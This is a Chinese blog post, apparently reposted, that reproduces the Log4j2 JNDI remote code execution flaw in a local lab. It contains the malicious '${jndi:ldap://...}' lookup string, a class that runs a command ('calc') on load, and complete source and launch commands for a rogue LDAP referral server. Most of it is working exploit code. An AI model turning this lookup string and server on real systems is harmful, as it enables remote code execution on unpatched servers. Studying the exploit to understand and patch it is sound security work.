我是靠谱客的博主 雪白哈密瓜,最近开发中收集的这篇文章主要介绍log4j2复现(小宇特详解)log4j2复现(小宇特详解),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

log4j2复现(小宇特详解)

简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

log4j2是调用了jndi来查询一些信息然后记录到了日志里面。

jndi是java一套资源和使用的接口,用来将各种资源做整合

idap是一种文件访问协议,用来获取文件资源

rmi是远程方法执行,是RPC的纯java实现方式

在记录日志时使用

logger.error("${jndi:ldap://127.0.0.1:1389/Print}");

这样子就会调用jndi底层的127.0.0.1:1389 rmi服务去获取 ldap的资源路径,然后从这个资源路径获取需要记录的日志信息。

漏洞复现

poc测试,模拟服务器的日子的java进程

package com.ccbft.JndiTest;
 
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class JndiTest {
    public static void main(String[] args) {
        Logger logger= LogManager.getLogger(JndiTest.class);
        logger.error("${jndi:ldap://127.0.0.1:1389/Print}");
    }
}

编译一个恶意的类Print

class Print {
  static {
    System.err.println("Pwned");
    try {
      String cmds = "calc";
      Runtime.getRuntime().exec(cmds);
    } catch ( Exception e ) {
      e.printStackTrace();
    }
  }
}

使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:1389/Print" 8888

运行poc.java即可访问类并执行写在里面的"calc"命令

调用jndi底层的127.0.0.1:1389 rmi服务去获取 ldap的资源路径的代码

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
 
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
 
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
 
 
public class LDAPRefServer {
 
    private static final String LDAP_BASE = "dc=example,dc=com";
 
 
    public static void main ( String[] args ) {
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }
 
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
 
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
 
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
        private URL codebase;
 
 
        /**
         * 
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
 
 
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
 
        }
 
 
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
 
    }
}

资源路径获取需要记录的日志信息的代码

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
 
    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

收到调用请求后会调用decodeRmiObject去解析返回结果,只有objectClass是javaNamingReference才会进入decodeReference方法。

最后会调用getObjectFactoryFromReference方法下载class文件

然后通过下面代码来进行实例化,所以只需要在获取到的class文件中构造函数里构造攻击就可以任意操作写日志。

   return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

最后

以上就是雪白哈密瓜为你收集整理的log4j2复现(小宇特详解)log4j2复现(小宇特详解)的全部内容,希望文章能够帮你解决log4j2复现(小宇特详解)log4j2复现(小宇特详解)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(32)

评论列表共有 0 条评论

立即
投稿
返回
顶部